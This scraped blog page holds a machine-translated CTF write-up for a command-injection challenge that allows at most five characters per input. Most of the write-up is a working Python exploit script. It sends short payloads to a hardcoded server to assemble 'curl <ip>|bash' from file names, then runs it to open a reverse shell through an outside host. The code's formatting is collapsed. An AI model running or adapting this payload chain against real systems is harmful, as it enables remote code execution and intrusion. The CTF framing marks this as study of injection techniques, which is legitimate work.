当前位置:网站首页>The CTF command execution subject their thinking
The CTF command execution subject their thinking
2022-08-03 01:03:00 【wespten】
CTF has a command execution vulnerability problem, and the single input character must not exceed 5.
Using Linux-specific commands to write shell bounces.
The principle is to use many methods such as curl ip|bash to bounce the shell.
import requestsfrom time import sleepfrom urllib.parse import quotepayload = [# generate `ls -t>g` file'>ls\\','ls>_','>\ \\','>-t\\','>\>g','ls>>_',# generate `curl orange.tw.tw|python`# generate `curl 10.188.2.20|bash`'>sh\ ','>ba\\','>\|\\',# '>03\\',# '>90\\','>0\\','>20\\','>1.\\','>12\\' ,'>7.\\','>10\\' ,'>9.\\','>3\\','>\ \\','>rl\\','>cu\\',#exec'sh_','sh g',]r = requests.get('http://120.79.33.253:9003/?reset=1')for i in payload:assert len(i) <= 5r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )print(i)sleep(0.2)
Put a bash sentence in your own server, and use curl ip|bash to bounce the shell.
Enable monitoring, and the shell can be bounced after execution.
Using linux file writing skills:
ls -t >g is the reverse output file name, then sh _ executes the file and writes it to g
You can see that the file has curl xx.x.x.x|bash characters. Entering any character under linux and adding \ will not interrupt the current operation, and you can continue to enter the content.If there is no \ behind it, it will be interrupted, and sh can still execute executable commands in the case of an error, so it will not affect the execution of curl.
边栏推荐
猜你喜欢
创建型模式 - 抽象工厂模式AbstractFactory
The only way to go from a monthly salary of 10k to 30k: automated testing
[TypeScript] Deep Learning of TypeScript Classes (Part 1)
Task 4 Machine Learning Library Scikit-learn
反弹shell原理与实现
[论文总结] 深度学习在农业领域应用论文笔记10
CS5213 chip | HDMI to VGA converter chip data sharing
CodeTON Round 2 A - D
若依如何实现添加水印功能
CWE4.8:2022年危害最大的25种软件安全问题
随机推荐
IP Protocol (Internet Protocol)
Shunted Self-Attention via Multi-Scale Token Aggregation
go exec 包
gdb调试简要总结
H.265视频流媒体播放器EasyPlayer.js集成时出现“SourceBuffer ”报错,该如何解决?
不堪哥哥殴打谩骂,妹妹申请人身安全保护令获支持
JS 包装类 Math对象 round max() min() random
四、字符常量 & 字符串
学习Autodock分子对接
CTF命令执行题目解题思路
The only way to go from a monthly salary of 10k to 30k: automated testing
VMware workstation 程序启动慢
双轴晶体中的锥形折射
牛客刷题:手动实现数组filter方法
centos7安装mysql5.7步骤(图解版)
threejs 动态调整相机位置,使相机正好能看到对象
GameStop NFT 市场分析
You and I will meet the needs of: how to export the data in a MySQL simple ~!Practical!
Broadcast platform, the use of the node generated captcha image, and validate
成功解决TypeError: can‘t multiply sequence by non-int of type ‘float‘